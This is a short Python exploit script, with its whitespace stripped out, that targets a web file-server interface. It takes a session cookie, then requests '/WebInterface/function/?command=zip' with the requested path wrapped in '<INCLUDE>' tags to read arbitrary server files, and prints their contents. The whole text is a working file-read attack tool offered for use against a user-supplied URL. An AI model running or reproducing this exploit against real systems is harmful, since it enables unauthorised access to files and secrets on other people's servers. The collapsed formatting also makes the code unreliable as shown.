importrequestsimportargparseHEADER='\033[95m'OKBLUE='\033[94m'OKCYAN='\033[96m'OKGREEN='\033[92m'WARNING='\033[93m'FAIL='\033[91m'ENDC='\033[0m'BOLD='\033[1m'UNDERLINE='\033[4m'defget_cookies(url):try:session=requests.Session()response=session.get(url)ifresponse.status_code!=200:raiseException("Failed to connect to the server")session.cookies.get_dict()returnsession.cookies.get_dict()exceptExceptionase:print(FAIL+"Error: "+str(e)+ENDC)quit()defexploit(url,cookies,path):try:ifnotpath.startswith("/")ornotpath.endswith("/"):raiseException("Invalid path format. Path should start and end with '/'")url=url+"/WebInterface/function/?command=zip&c2f="+cookies['currentAuth']+"&path=<INCLUDE>"+path+"</INCLUDE>&names=*"response=requests.get(url,cookies=cookies)ifresponse.status_code!=200:raiseException("Failed to connect to the server")returnresponse.textexceptExceptionase:print(FAIL+"Error: "+str(e)+ENDC)quit()if__name__=="__main__":parser=argparse.ArgumentParser()parser.add_argument("-u","--url",help="URL of the target",required=True)parser.add_argument("-p","--path",help="Path to the file to read",required=True)args=parser.parse_args()url=args.urlpath=args.pathifnoturl.startswith("http"):print(WARNING+"URL should start with 'http' or 'https'")quit()cookies=get_cookies(url)if'currentAuth'notincookies:print(WARNING+"Not vulnerable"+ENDC)quit()else:print(OKCYAN+exploit(url,cookies,path)+ENDC)